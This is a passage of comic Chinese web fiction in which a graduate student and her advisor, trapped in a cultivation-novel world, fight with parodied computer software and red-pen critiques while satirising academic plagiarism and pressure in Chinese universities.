她怜悯一叹,“你是前现代时期的系统吗,怎么张口闭口都是些规矩。我们的社会已经变了,谁想顺应那些破规矩,人人都想摆烂。”
“好吧!”系统愤愤地一咬牙,“你们不想做任务,我有的是方法让你们做任务!”
系统有干预世界的权限。席锦和导师走出没几步,果然遇到了麻烦。
只见身后尘土飞扬,竟有数十名蒙面穷追不舍,个个手持兵刃,杀气腾腾。
“走!”为首那人声音压迫,“给我往光明宗的方向走!”
席锦眉头一皱,正要舞动她的鼠标给对方教训,导师那伟岸的身影
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就挡在了她面前。
“让我来。”导师高傲地抬着下巴,衣衫翩然,仿若隐姓埋名的高人,“我去他们讲道理。”
面对来势汹汹的众人,导师毫无惧色,仿佛并不是在你死我活的战场上,而是在学术答辩的场所中,面对着瑟瑟发抖的考研学生们。
他深吸一口气——
“上次组会我们聊的那个主题其实我又重新思考了下我觉得我们可以尝试这个全新的研究方向所以你们回去之后有没有想清楚怎么去研究?进度如何汇报一下不好好干活怎么毕业不要问我要问自己研究累了读读文献PPT给我向上翻......”
“呃啊——!!!”刺客皆抱头打滚,“这是、这是失传多年的......声波攻击!可恶......怎么如此厉害!”
“言语攻击”的力量极为凶悍,导师的斗志也越来越高昂,可他再一开口,嗓子却慢慢哑了,“你的研究问题不清晰告诉我核心目的是什么文献梳理的还不够深入我问你为什么没有英文文献......咳......你至少还要把量化研究方法从头到尾......咳咳......你给我解释什么叫做独立样本t检验......”
不好,导师出现弱点了!
刺客们果然是以一打十的高手,顷刻之间便挪到二人面前,就要夺走二人性命!
席锦也顾不得许多!
她调出AU面板,选中导师的“音频轨道”,叠加了混响效果器。
导师沙哑的声音瞬间自带环绕立体声,如天神下凡、洪钟大吕,“……你是这个领域的专家!”
刺客们这突如其来的神圣音效震得后退几步,仿若听见神明低语,惊在原地。
——席锦叠加了重金属失真效果器。
导师开始嘶吼咆哮,“你怎么睡得着的?你这个年龄段这个阶段睡得着觉,有点出息没有!”
音波化作肉眼可见的冲击力,将冲在最前面的刺客掀了个人仰马翻!
——席锦叠加了加速效果器。
导师的语速快得像火箭:“社会存在决定社会意识,社会意识是社会存在的反映并反作用于社会存在。社会存在决定社会意识,社会存在是社会意识内容的来源,社会意识是社会物质生活过程及其条件的主观反映……”
众人抱着脑袋,表情痛苦,仿佛在经受紧箍咒的终极版。
——席锦也趴在地上,几乎要口吐鲜血,叠加了“卡通音效-唐老鸭”。
导师:“嘎!嘎嘎嘎嘎!!”
——第五次叠加,电音Auto-Tune
导师的声音开始有节奏地跳动起来,“乌蒙山~连着山外山~月光洒下了~响水滩~”
“疯了!都疯了!撤!快撤!”
刺客头领带着残兵败将,狼狈不堪地逃之夭夭。
世界终于清静了。
席锦赶紧关掉所有效果器。导师咳嗽了几声,尝试发声,却只能发出一些气若游丝的、夹杂着些许电音和鸭叫的奇怪音节:“咳……咕……嘎……Yo……”
两人面面相觑时,席锦立马挪开了目光。
空气中弥漫着尴尬的沉默。
5. 垃圾清理
导师似乎意识到情况不太对劲,左看右看喃喃着:“真奇怪,是谁一直在帮我?”
他的嗓子哑了,咳了半天,很难继续说话。
这样一来,岂不是没人能进行dps输出了?
“这就是你们违逆我的代价!”系统邪恶地诅咒着,“在这个没有金嗓子胖大海的世界,你们就等着被追鲨吧!在拜入光明宗门下之前,导师的嗓子都不会变好的!”
夜里,席锦睡不着,看着电脑界面发呆。
AU虽然能增加混响,却不能让原本失声的人重获声音。以她现在的技能,太被动了,她必须开拓一下自己的windows XP系统,尽可能逃离剧情,留出摆烂的空间。
可惜,除了已经开发的AU、浏览器和源代码编辑软件Brackets,只有一个“996垃圾清理”是亮着的,其他的软件都显示“未安装”。
席锦点击“一键清理”。
于是她就被删除了。
她看着周围的漆黑,陷入沉思,“什么意思?”
“噢,对不起。”系统赶紧把席锦恢复到了原来的位置,“这是个误会。”
但在那一刹那,席锦发现——
导师也出现在了垃圾箱里!
她眼前一亮,忽然有了绝佳的对策。
次日,从西土城到光明宗的路上,山匪们依然在追着二人乱砍。
当山匪提着刀威风凛凛扑来时,导师的嗓音已经逼近极限,“咳......天堂有路你不走......学海无涯苦作舟......”
哑了嗓子的导师,就像是没有翅膀的猪,说话的威力大不如前。
席锦见匪徒将至,打开996垃圾清理,点击删除。
果然,她和导师一起进入了垃圾箱!!
“这......这又被带到什么地方了?”导师艰难地嘟囔着。
他大概是听见了系统的声音,目瞪口呆地对着空气道:“垃圾箱?我为什么会出现在垃圾箱?”
“什么!是我那个笨蛋学生把我当成了垃圾?”
但导师很快闭上嘴。
他脑中灵光一现,恍悟道:“对啊,我们可以当垃圾。”
“我们不属于这个世界,当然是这个世界的垃圾。只要我们承认自己是垃圾,就没人可以把我们当垃圾。”
“人们可以自相残杀,却杀不了真正的垃圾!”
他看着周围的一大片漆黑,开心地“哈哈”笑了两声,自在地躺在地上。
“还是我的学生看得开。当什么教授,卷什么国家基金,还不如当一个垃圾!”
系统见状,恨铁不成钢地把两人——不,两个垃圾——从垃圾箱丢了出来。
“去给我做任务!!”系统崩溃地咆哮着,“快做任务!!别逼我动手!”
于是剩下的时间里,席锦和导师在歹徒的驱赶下疯狂逃命。
他们恨不得有个筋斗云,可惜根本没有筋斗。
反倒是那群匪徒,一看二人停下,就恶狠狠地要来扇大比兜。
“我的学生在哪里啊?”导师一边跑着马拉松,一边嚎啕道,“快把我删了吧,我是垃圾啊!”
“为什么当了副教授还要一千米跑!”导师尖叫,“我才不想刷什么运动与健康记录!”
“我们学生还要进行体测的十二分钟跑!”席锦在心里尖叫,“可恶的地方,怎么连缺德地图都没有!”
许是系统限制,她发现垃圾箱居然有了CD,导致她虽然能删除,却不能时时刻刻当垃圾。
他们就这么一边跑,一边垃圾删除,崩溃地跑到了光明宗外。
由于他们跑得太快,云渺仙人的消息居然还没传到光明宗。弟子们一看见二人,立马恼怒地将他们赶下了山门。
“妖魔同党,又来纠缠些什么!光明宗容不下你们这样的人!”
“那可太好了。”导师一口气刚喘过来,简直欣喜若狂,“那我就走了啊?”
光明宗的人闻声头痛欲裂,“啊啊啊啊,这是什么力量!你们竟敢在宗门门口公然叫嚣!”
“给我抓住他们!”
“不是,你们有病吧?”导师大为崩溃。
席锦现在也是真的应激了,眼看着光明宗的人要扑上来,她直接给导师加了最为响亮的回声效果器。
整个光明宗都响着导师拖长的声音:“有——病——吧——”
“病——吧——”
“吧——吧——吧——”
弟子们口吐白沫地晕了过去。
在导师震耳欲聋的声音中,整个光明宗陷入死寂。
正当席锦颤颤巍巍地抬起手,擦去额前汗珠时,却被一阵巨大的声响震住。
两鼎大钟从天而降,分别罩住了她和导师,“无知妖魔,竟敢在光明宗撒野!”
——她和导师被捕了!!
............
席锦已经习惯了坐牢。
研究生,有几个不是在坐牢。
但她吐槽系统,“是你们要我来光明宗的,现在又是什么意思?”
“这是真的不好意思。”系统道,“你看这样好不好,我们把攻略交给你,让你以后可以更快通关。”
咻地一声,系统弹出了光明宗的详细信息。
门派名称:光明宗
地位:人界盟主,天下第一大宗。
宗主:云渺仙人
宗门实力来源:开挖灵脉。灵脉中藏有灵气,吸食灵气后,修为可以大涨,云渺仙人因此得道成仙。
【你肯定发现云渺仙人不一般。没错,就是云渺仙人下令杀了席家!】
【你知道为什么吗?】
【因为席家家主觉醒了Python能力,但是云渺仙人学不会Python。】
【在这个年代,不会Python的人只能被取代!云渺仙人感到害怕,又想要拥有Python技能,这杀尽了席家,却留下你们两个作为观察。】
席锦面无表情道:“他脑子是停留在前现代吗,都2025年了,还学什么Python?想吃土啊?”
“你别管人家。”系统难绷道,“你只要能完成主线任务就行。你知道为什么人们无法推翻云渺仙人吗?”
席锦一脸麻木,“你继续说。”
【因为——云渺仙人迫使大家开采灵脉,却偷走了所有灵脉资源!】
【在这个年代,只有发现灵脉,或者写出挖掘灵脉的论文,才能有饭吃。】
【但云渺仙人,他垄断了论文发表的权力,偷走有用的论文,迫害有潜力的研究者,变得格外强大!人们为了发论文,只能顺从他。】
【你要为了席家报仇雪恨,杀了云渺仙人!】
【这是任务!这是任务!】
“这些主线原本要你们自己探索的。”系统恨铁不成钢,“我都把饭喂到你们嘴边了,可别不识好歹!”
席锦噗嗤笑了出来。
“你说得对,可是席家和我有什么关系?”
“这又不是什么真实故事,只是一本平平无奇的晋江小说。照现在俗套的故事情节,作者大概率还是不到100收藏的扑街,书都没人看,我听你们的干什么?”席锦锐评着,“还投了奇幻频道!奇幻频道最凉了,我就是写奇幻才吃土的。”
在她和系统闲得无聊拌嘴时,面前的钟被挪开了。
席锦和导师被释放出来后,就见光明宗的弟子忍气吞声地站在两旁,正中是两个长老。
一个秃着头,拿着锯子,叫光强长老。
另一个竖着眼睛,长相比较抱歉,叫谢堡黄长老。
光强长老先开了口:“听说你们的推荐信是云渺道人亲笔签名?”
导师:“是......”
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“呃啊——”两侧弟子哀嚎倒地,“闭嘴,快闭嘴!”
“哈哈哈,真是天降奇才,一定能研发出更好吃的论文。”谢堡黄长老接过导师的推荐信,看着上方“实为平生罕见”几个大字,笑得更高兴了,“请进,快请进!”
光强长老恼怒道:“为什么要给你研究好吃的论文,而不是给我研究砍树的论文?”
“民以食为天,吃论文就是我们的天!”谢堡黄长老道。
“经济基础决定上层建筑,要想变强还得砍树!”光强长老怼道。
他们谁都说服不了谁,各自哼了一声离开。但显然,谢堡黄长老的能力更胜一筹,带走了导师。而席锦这个纯牛马,被分配给了光强长老。
谢堡黄长老给导师分配的工作是整理杂物,还专门是食堂的杂物,看起来,是真的想研究出美味谢堡黄配方。
但他不允许导师说话,只给了导师一支笔,让他在想说话的时候写下来。
席锦觉得导师会被憋疯。
但这些与她无关。
她被安排到了马厩打扫卫生,没什么事做,开始寻思起现在的处境,以及电脑中其他软件。
谢堡黄长老和光强长老不太对付,她不知道这个和云渺仙人有没有关系。
但她懒得思考这离谱到爆炸的情节,用鼠标无所事事地划过屏幕,检查着其他软件。
界面上的腾讯会议是干什么的?
她双击点开。
忽然,她听到了一些奇怪的动静。
在她身后的草丛中,传来了咕噜咕噜的声音。
席锦诧异地抬头看去,是一黄一红(指皮肤)两个弟子,围着一口大锅煮东西!
黄皮肤弟子拿着一根木棒,搅弄着大锅道:“哈哈哈哈,派师兄,煮出这些论文我们就可以毕业啦哈哈哈哈!”
红皮肤弟子讷讷道:“是啊海绵师弟,这还是谢堡黄长老给我们的法子,他用这法子炼出了不少论文呐!”
只见他们将一桶又一桶水倒进锅中煮着,随着温度的升高,白色蒸汽的溢出,那些水竟然凝结成了白纸黑字的片状,纷纷跳了出来!
席锦不禁大惊。
这是什么?
论文?还是水?
更让她吃惊的事情出现了。
她忘了自己打开了腾讯会议,更不知道随着自己的视角,天幕都发生了变化。
风云突变,云上显示出了她看见的一切。她的眼睛就是腾讯会议的摄像头,而她的耳朵,就是腾讯会议的麦克风!
派师兄和海绵师弟的计划就这么被公之于众。
她甚至忘了自己在AU中挂了混响。
因此光明宗的人,都听见云中神临一般的大声密谋——
“哈哈哈哈,煮出这些论文就能毕业啦!”
“是啊!谢堡黄长老用这法子炼出了不少论文呐!”
派师兄和海绵师弟抬头看天。
他们煮出的论文像是什么有生命的小精怪,也随着他们抬头看天。
下一刻,那些白纸黑字的论文们像是裸露在了聚光灯下,尖叫着跑开了!
“我们都是水做的,会被发现的!”
又有论文面对面地吵起来,“你为什么和我长得一样!”
“你又为什么和我长得一样!”
“我要鲨了你!”论文尖叫道,“你这个没有查重的家伙!”
“啊啊啊!!都怪这个世道!都怪天临年代!!”论文疯狂逃窜,“我查重了会死掉的!会死掉的!”
论文们尖叫着跑进了灌丛中。
席锦遇上了派师兄和海绵师弟鲨人般的目光。
她尴尬地笑了笑,“你们知道我为什么会看见这些要命的东西吗?”
“因为我很脆皮,倒在电脑前面时正在吃东西。”
“那个东西的名字,”席锦咽了口唾沫,“叫脆脆鲨。”
6. 红笔批注
“就是她!她让我们曝光了!”一张写着《回到鲍德里亚列斐伏尔马克思恩格斯黑格尔谢林费希特康德》的论文纸在空中飞舞,发出尖细的声音。
“鲨了她!鲨了她!”论文们高声叫道,“让她尝尝被查重的痛苦!”
海绵师弟和派师兄将木棍搅得越来越厉害。
越来越多的论文从大锅中跳了出来,一边吱哇乱叫,一边朝席锦扔来了什么东西。
席锦下意识躲避着,谁知那些东西在飞过她耳旁时,都会发出一声诘问:“知网是什么?”
她这才意识到,这些朝她扔过来的东西——
竟然是翟天临!
大大小小的翟天临,坚固得像是大大小小的石子,一被扔出来就发狠了、忘情了、没命了!
百十个扔来的翟天临,如百十块被强震不断击起的石头,狂舞在席锦的面前。
骤雨一样,是早八的铃声;旋风一样,是飞扬的零分绩点;乱蛙一样,是崩溃着蹦跳的大学生;火花一样,是答辩现场激情开骂的导师;斗虎一样,是学阀们霸占C刊的风姿。数万高校中,延毕了多少壮阔、多少豪放、多少火烈的毕业生哇——都怪翟天临!
扑面而来的翟天临,不仅对席锦造成物理攻击,还造成精神攻击,让她自顾不暇。
“什么玩意啊!!”
席锦崩溃地边喊边跑。
系统高兴道:“太棒了宿主,你解锁了主线剧情!”
“云渺仙人不是什么好人,他手下的谢堡黄长老和光强长老也不是好人。扳倒谢堡黄长老和光强长老,你就离扳倒云渺仙人更近一步!”
“谢堡黄长老从水中打捞论文,还为自己的学生放水,已经构成了严重的学术不端!你作为天堂的来客正义的使者,可以解决掉他们的!”
“可我只想睡觉,不想当什么天堂的来客正义的使者!”席锦崩溃道,“我快要被鲨掉了,你就没有其他办法吗?”
剧情的进展大概出乎了系统的意料。
大概真的害怕席锦被杀死,片刻后,席锦果然发现电脑界面的右下角有东西闪烁,弹出了古早广告窗口。
她看也不看这广告上面是什么,疯狂点击着,每点一次,手上就出现一个奇奇怪怪的纸包。
纸包中似乎有很多圆滚滚的东西,大概是什么暗器。
席锦想都不想就朝身后的论文扔去。
她没想到,系统给她的暗器,竟然是——
溜溜梅!
当纸包被打开的刹那,无数溜溜梅应声飞出。
它们与翟天临迎面相撞,每一次惨烈的碰撞,都会爆发出魔音贯耳的喊声。
“知网是什么?”
“你没事吧?”
“知网是什么?”
“你没事吧?”
“啊啊啊啊——”席锦崩溃道,“我怀疑我真的要疯了。”
可惜,马厩位于光明宗最偏远的角落,而谢堡黄长老的弟子遍布整个光明宗。
席锦想跑出去,可是四面八方,很快就围来了追杀她的弟子。
就在她即将落入重重圈套时,导师从天而降,哑声喊道:“让开!”
这位正义感爆棚的导儿——
即便哑了嗓子,却还是在面对着无数论文的追杀时,挡在了席锦面前!
席锦此生从未觉得导师如此伟岸过。
在她眼里,导师一直颓颓的,大概是长期操劳于学术,既没有成家,也没有自己的房子,每天生无可恋地来学校打工。
导师过得勤勤恳恳,但和她一样,都只是牛马。
席锦一度埋怨过导师。
因为其他同学的导师,一年能带他们发十篇C刊。
哪怕十篇都是“这在领域内引起了重大革命”,平均每个月都要闹两三场革命,那也是十篇C刊。
在轰轰烈烈的革命大军的对比之下,导师显得如此渺小。
直到此刻——
她多么庆幸有这样一个朴素正直的导师啊!
席锦简直热泪盈眶。
但谢堡黄长老不知给导师吃了什么,导致导师失了声,声波攻击无法发挥其全部效用。
正当席锦担心导师该如何面对论文时,导师拿起了他的红笔。
他对着半空飞快地写着什么!
“我要鲨了你们!”论文《存在主义视域下B站用户时间感知演变分析》朝二人扑来。
导师的红笔哗啦一划,“理论关联性弱,研究问题不清晰,文献综述基础薄弱!”
“呃啊!”论文死掉了。
《议程设置理论框架下特离谱推特账号社会权力与文化隐喻》也扑了过来,“可恶,我要为我的舍友报仇!”
导师又将红笔一扫,“你要研究的到底是什么!是议程设置还是特离谱还是推特账号还是社会权力还是文化隐喻还是国际传播!这些东西够写五篇博士论文了你拿来当结课作业?”
“呃啊!”论文也死掉了。
席锦看得目瞪口呆又后脊发寒。
她想到了一些不好的回忆,不由自主地往后退了几步,瑟瑟发抖。
导师还在大杀四方——
“样本量n=15?你告诉我15是怎么来的,为什么是15,这些样本统计效力绝对不够,怎么可能支撑你的论文假设!”
“你的正态检验和t检验呢,t检验的使用条件根本没有满足!”
“论文创新性不足,与Smith(2015)的研究高度重复,你到底有没有查重?”
第五张、第六张......
拥有红笔的导师,如入无人之境!他所批改之处,论文纷纷“毙命”。
他的批注越来越犀利。
“概念界定模糊!”
“理论框架混乱!”
“结论缺乏实证支撑!”
“英文摘要语法错误连篇!”
与此同时,还有越来越犀利的人参公鸡——
“把你的论文发在小红书都比发知网强!”
“快发,发出来你的导师就身败名裂了。”
“你这个样子引用拉康的理论,真是会笑掉那位长眠地下的大他者老先生大牙的。”
“别感谢研究生三年了,你这情况可能不止三年。”
“呃啊——”
论文们哀嚎着,痛哭着,咬牙切齿地看着导师,仿佛遇见了天理难容的克星BOSS,“你......你修炼了什么功法,为什么......竟能一招毙命!”
“哼。”导师一甩头发,姿态傲然,“你们这批论文的质量太差了,根本不配存在!”
不到一刻钟,追杀席锦的几十篇论文全军覆没,地上只剩一堆泛黄碎裂的纸屑。
导师杀疯了。
他像是剑网三里面怎么都杀不死的反派月泉淮,拥有了无上金手指,所有的论文,都只会让他双目迸出火星、不能伤害他分毫!
席锦落泪了。
这就是被带飞的感觉吗?
在卷生卷死的现实世界没有体会过,可是在这个抽象的世界,她体会到了!
谁知此时,变故陡生。
一张论文奄奄一息地趴在地上,伸出黑色线段的手,突然开始狞笑。
“嗬嗬嗬......你能杀了我
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,我也能杀了你们!”论文邪恶道,“我知道了你的名字,席语岩......你的本名,叫费误!”
此言一出,席锦和导师都变了脸色。
——导师的本名,真的叫费误!
这个名字,如此清奇,又如此容易引人误会。
所以席锦在报考时思虑再三,最终看在青年长江学者和一年2篇C刊的份上,还是选择了费误导师。
——但,区区晋江小说的区区小反派,是怎么知道导师名字的!
“你也说了......我的能力,只能投一个水刊!”论文咬牙切齿,“费误!我这就带着你的名字......去投一百篇水刊!我要让你今生今世,身败名裂!”
只见论文提起笔,就要在身上写下导师的名字!
席锦赶紧点开F12。
果然,论文落下“费”字的时候,代码界面也出现了“费”,她立马将这个字删除了。
论文一写,她就删除;再一写,她照旧删除。
论文恼怒着大喊一声:“费误——!”
却被导师的红笔一招毙命。
“什么乱七八糟的玩意儿。”导师嘟囔着,“它们刚刚是喊废物,还是再喊我的名字?”
突然,身后响起了鼓掌声。
“精彩,真是精彩。”
谢堡黄长老缓缓从食堂正门走出,身后跟着脸色苍白的派师兄和海绵师弟。他脸上带着温和的笑容,眼中却毫无笑意。
“原来云渺仙人推荐的‘奇才’,竟是这般人物。”谢堡黄长老抚掌笑道,“用笔如剑,字字诛心。这等本事,用来批改论文,未免大材小用。”
导师警惕地站在席锦身前,哑声道:“你想怎样?”
“不想怎样。”谢堡黄长老的笑容逐渐变冷,“只是你们知道了不该知道的事情,还公之于众,毁了我这么多‘心血’。我要你——”
谢堡黄一指身边的席锦,语气凶恶。
“杀了你的妹妹!”
席锦:“!!!”
导师:“!!!”
好在,导师抬起下巴,表现出轻蔑的、宁死不从的样子,“我要是不听呢?”
“那么你的学生,就没救了!”
谢堡黄长老拿出一个东西。
这是——社保单!
上面写着席锦的名字!
“我知道,你的学生是山东人。”谢堡黄长老邪恶道,“你要是不从,我们就给她交社保,毁了她的应届毕业生身份!”
席锦:“!!!”
“我们知道她想干什么!”谢堡黄长老继续邪恶道,“她想考公!考公不行就考编,考编不行就考博,只要我们抓住她,就给她纹身,让她一辈子考不了公!”
席锦:“!!!”
“你的学生会恨你一辈子!”谢堡黄长老诅咒着。
导师沉默了。
他知道,席锦确实想要考公。
即便他不停地说“你适合读博”,席锦还是想考公。
他的学生,本科入党,一直兢兢业业,会给老奶奶讲解文献,会帮保洁阿姨打扫树叶,说话委婉而从不胡乱怼人,真是天生的考公圣体。
他看向了席锦,席锦打了个哆嗦。
然而,导师拿起他的红笔,一声冷笑。
“那就放论文过来吧!”
“考不了公,我就教她考编;考不了编,我就教她申博;申不了国内,我就教她申请国外;当不了国内的教职,我就送她去沙特阿拉伯,让她一个月净赚六万!”导师大声怒喊着,“我——也是山东人!我们山东人,绝不屈服于你的淫威之下!”
7. 大变活人
导师话音落下,掷地有声。
食堂前一片死寂。
谢堡黄长老额角跳动青筋,内心翻起惊涛骇浪。
“好……好一个绝不屈服!”谢堡黄长老气极反笑,露出阴鸷狠厉的真容,“既然你冥顽不灵,那就休怪本长老清理门户,将你们一起碾成齑粉!”
他周身灵气鼓荡,震得树叶簌簌作响!
属于高阶修士的威压如同实质般倾轧而下,空气仿佛凝固。强烈的威压,让席锦和导师几乎要跪倒在地、口吐鲜血。
但这还不止。
谢堡黄长老的弟子们,还在接二连三地水着论文。在海量的作业批改中,导师的笔渐渐没了墨水。
而席锦,也不想坐以待毙。
她颤巍巍地点击着桌面广告,将纸袋中的溜溜梅全都扔了出去!
在这些压力之下,这些溜溜梅全都爆炸了,空气中充斥着“你没事吧”的魔性声音。
但这无法阻止谢堡黄长老杀了他们的动作。
他周身威压强大,让人喘不过气——必须有什么东西,能抗住这个压力!
“有什么东西能抗住液压机?”席锦紧张道,“快给我变出来,快!!”
系统一时没有反应过来。
液压机的压力巨大。世界上绝大多数事物,都会被液压机压得粉碎。
“所以宿主,”系统仿佛终于看见剧情走上正轨,又是激动,又是紧张,又是迟疑,“你能给卑职一个明示吗?”
席锦的目光一下子沉了。
“给我,大学生。”
“一周之内,有五篇论文ddl、十场考试、还要考英语四六级的大学生。”
这样的大学生并不难找,系统很快变出了叽叽喳喳的一大群。
“呃啊!”有大学生抱头高喊,“压力好大,我的压力好大啊!”
“我受不了啦,我要把学校给炸啦!”
乌泱泱的大学生们面对突如其来的压力,怒了。
他们虽然只有石子大小,却从兜里掏出了RIO海底捞蜜雪冰城霸王茶姬瑞幸星巴克卡拉OK张亮麻辣烫杨国福必胜客肯德基麦当劳砸了过去。
还有他们的高等数学劳动法有机化学基础公共艺术概论西方哲学史教育心理学财务管理初级会计实务大学军事理论高校物理强基教程经济法基础Java程序设计传播学概论计算机组成原理概率论与数理统计......
“不学了!”大学生们怒喊着砸向压力的源头,那令他们愤恨的谢堡黄长老,“让考试周见鬼去吧!”
纷纷扬扬的教材,果然比论文的杀伤力更大,将谢堡黄长老和一众弟子逼退了许多步!!
“再给我抓来离考研还有一个月的人!!”席锦叫道。
于是空气中多出来了□□考研英语词汇黄皮书肖秀荣一千题八套卷四套卷徐涛核心考案腿姐背诵手册......
所有的大学生都疯掉了!
他们虽然无法直接推翻这压力,却在压力之下吱哇乱窜,与谢堡黄长老的论文战成一团。
“还有那些快要高考和延毕的人!”
越来越多的大学生加入大军之中,不仅扔起了教材,还扔起了他们的试卷与论文。
谁知,谢堡黄长老在左支右绌的防御之后,忽然寒声一笑。
“妖魔鬼怪,也想阻我?”
他一挥衣袖,颁布出了一条条新的规矩。
——外卖柜,不建了!
——研究生低保,大学生奖学金,不发了!
——考研自习室,取消!
——结课论文查重率,不得高于5%!
——校园网服务器,换成土豆!
——所有结课成绩,必须呈现正态分布!
............
谢堡黄长老以为这些威压会取得成效。
毕竟,那么多光明宗的弟子,都是被这样震慑下来的。
可惜他遇上的是后现代社会的大学生们,他们彻底愤怒了。
没有外卖柜,偷外卖的人只会越来越多。
没有考研自习室,他们只能当游牧民族,背着厚厚的书到处找没有课的教室,仿佛在打游击。
正态分布,更是会莫名其妙挂掉很多人。
他们可以辛苦,但绝不能这么命苦。
“把光明宗挂到知乎上!”大学生们高喊着,“挂到小红书上!挂到微博上!”
大学生们纷纷拿出手机开始发微博。
舆论压力立马朝谢堡黄长老扑来!
果然,舆论的力量是强大的。两相抗衡之中,谢堡黄长老的威压出现了裂缝。
下一刻,两个碰撞的压力中迸发出金色光芒,狂风卷起,掀得周遭人仰马翻。
谢堡黄长老摔在石头上,磕掉了门牙。而席锦和导师,也被强大的气流卷飞在地上。
所有的论文都在风中灰飞烟灭,好在那些大学生,被系统适时传送走,消失不见了。
“好、好、好!”谢堡黄长老捂着嘴,磕掉门牙的地方还渗透着血液。他恶狠狠地看着两人,“
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不愧是云渺仙人送来的弟子,竟能召唤出如此多的妖魔鬼怪!”
他的力量被反噬了不少,遭受重创,却更知道,眼前的席锦和导师已是强弩之末。
不巧的是,导师的笔已经没多少墨了。
“红笔批注”对论文管用,但对谢堡黄长老未必管用。更何况,导师哑了嗓子,如果再来一场对峙,他们只能居于下风。
谢堡黄长老站起身,颤颤巍巍地,一步步地,冷笑着朝导师和席锦走来。
“你们以为,曝光我的学生,就能除掉我吗?”
“且不说我可以把过错全都推给我的学生,就是在这光明宗内——你们猜猜,为什么我一年发100篇C刊,还能稳稳居于长老之位?”
“因为所有举报我的学生,都被开除了!”
“我是堂堂长老,纵使他们知道实情,也只能忍气吞声。”
“而我,能给云渺仙人带来切实的利益,让他力压所有宗门,稳居仙盟第一!”谢堡黄长老尖锐道,“你们觉得,云渺仙人会惩罚我吗?”
席锦忍不住磨牙。
这个世界,太奇葩乱了。作者是经历了什么才写出如此疯癫的剧情?
但是,即便世界乱成了这样,她也不想醒来,不想回到现实。
她必须想办法活着出去。
紧要关头,导师也是一声冷笑。
“真是太小瞧我了......”导师哑声喃喃着,目光凶狠如同即将杀上万花谷的月泉淮,“只要我有笔,哪怕不能写字,我也有我自己的底线和能力。”
“想不到吧,我还有最后一招。”
危急关头,导师再次站起身,举起笔。
他风度翩翩,仿佛面对绝境的伟人,用最后的墨水——
开始画饼。
巨大的饼出现在半空,随着笔迹的缝合,变得越来越大、越来越大!
“愣着干什么!”导师嘶哑地朝席锦喊道。
席锦一个激灵,见那饼后空空荡荡,她二话不说便跳入饼中!
“我可是......吃了那么多饼......才评上青年长江学者的!”导师咬着牙,目光中藏着无数故事,“我绝不允许你们把我赶回现实世界,绝不允许!”
导师也跳入饼中。
在谢堡黄长老等人意图抓住他时,饼竟然消失了。
“他竟然能画出这么大的饼......”谢堡黄长老目光阴鸷,“这是我都画不出来的饼,可恶!”
“我要杀了他们,绝不能让长老之位易主!”
8. 毕业设计
席锦和导师被大饼传送到了一个完全陌生的地方。
只听两声闷响,两人掉到了菜地里。
四周是整齐的田垄,泥土湿润。空气里弥漫着灵植特有的、雨后青草般的清气。
然而这片本该生机盎然的灵田,此刻却呈现出一副劫后余生的惨状——以他们落地处为圆心,半径五米内,所有植株都呈放射状倒伏,像是被什么天外陨石砸过。
好在,两人学的是人文社科,平均每天翻阅文献八小时以上,拥有把板凳坐穿的强大能力,这点小伤不算什么。
席锦没空吐槽。在剧烈的奔跑和时间消耗中,她又饿了。
导师撑起身,手里还紧紧攥着那支快没墨的红笔,似乎也觉得饿,正怅惘地看着菜地。
屁股底下似乎传来了异样的清甜。
席锦低头看去,原来自己正坐在萝卜上面。这些萝卜的叶子已经被压垮,泥土也被她蹭掉,露出了白色的根茎,看起来格外诱人。
应该是能吃的东西。
但是这个世界,翟天临都能飞,她实在不知道吃萝卜会吃出什么来。
然而,导师先她一步,拔出萝卜,咔嚓咔嚓啃了起来。
见席锦看向自己,导师似乎觉得不好意思,顺手揪出一根萝卜丢给她,“吃吧。”
席锦震惊:“你的嗓子好了?”
导嚼着萝卜的动作一顿,也瞪大了眼:“!!!”
这个萝卜,看起来不是一般的萝卜。
它们格外清甜好吃,而且意外冲破了谢堡黄长老的封锁,让导师恢复了嗓音。
且这嗓音,在导师的控制下,慢慢变得没那么有杀伤力了。他似乎学会了怎么用声音进行输出,至少此刻,席锦并没觉得那声音令人吐血。
真是一群听话的好萝卜。
两人蹲在灵田里,如同八百年没有吃饭的老鼠,把品相最好的萝卜啃了个干干净净,留下一大片新鲜的泥坑。
“啊——!!!!!”
一声凄厉到变调的惨叫划破了灵田的宁静。
只见一个穿着粗布短打、袖口沾着泥点的年轻修士,正站在田垄边,双目圆睁,死死盯着那片狼藉。
他的脸色先是煞白,继而涨红,最后转为一种绝望的铁青,浑身抖得像风中落叶。
“我……我的……”他哆嗦着,指向那几个空荡荡的泥坑,“我的‘评论萝卜特’……我的数据……我的……毕业设计!!!”
“我花了三年!三年啊!”
最后一句话,他是用尽全身力气吼出来的,吼完之后,整个人仿佛被抽干了精气神,眼眶瞬间就红了。
席锦心里“咯噔”一下。
“毕业设计”四个字,无论在哪个世界,都拥有着核弹级别的杀伤力。
她捏着半截萝卜,丢也不是,拿也不是。
小修士踉跄着扑到泥坑边,颤抖地捧起一撮泥土,痛心疾首,“这几株,是第九批实验组里数据最稳定、灵力富集度最高的样本,是我整个研究结论的核心支撑!——现在的萝卜两毛钱一斤,你们为什么非要吃我的萝卜!”
“我要带你们去见光强长老!”修士痛哭流涕,“你们要为我的延毕付出代价!”
说着,他就将钉耙一挥,要来擒拿二人。
虽然席锦和导师有种种技能,但毕竟是他们先吃掉的毕业设计。
导师的金手指除了画饼,就是dps输出,面对此种情景堪称束手无策。
席锦看着那几个萝卜坑,有些后悔。
她应该先记住萝卜的代码再吃的。
突然,席锦看见了界面上闪烁的红色圆点REC。
对于一个广电本科生而言,这个圆点她再熟悉不过了。难道——
她震惊地看着自己的界面。
她没有关腾讯会议!
也许是wifi信号不好,她的腾讯会议并没有继续在天幕上直播。
但是在她打开腾讯会议时,居然顺手点了录制。和谢堡黄长老的打斗,还有方才的萝卜,都被录了进来。
“等一下!”席锦忽然严肃道。
她止住了即将落下钉耙的崩溃农学生,抬起头,目光灼灼,“我可以帮你把萝卜种出来。”
“席家有无数修仙术法,其中一条,就是种萝卜!”
——才怪。
她根本不知道怎么种萝卜。
但是她看见了一个熟悉的软件,PhotoShop。
“这玩意怎么用?”她问系统。
系统经历方才召唤大学生的体验,脑袋嗡嗡的,人有点麻,“你把图片上传到图床,用图床生成链接,写入网页源代码就行。”
席锦将视频截图中的萝卜抠了下来,插入链接,萝卜坑中果然长出了萝卜。
只是这些萝卜都是jpg格式,二维的,《我的世界》的萝卜都没这么扁。
“这不是我的萝卜......”心碎修士呜呜哭泣着,“你们赔我的毕业设计......”
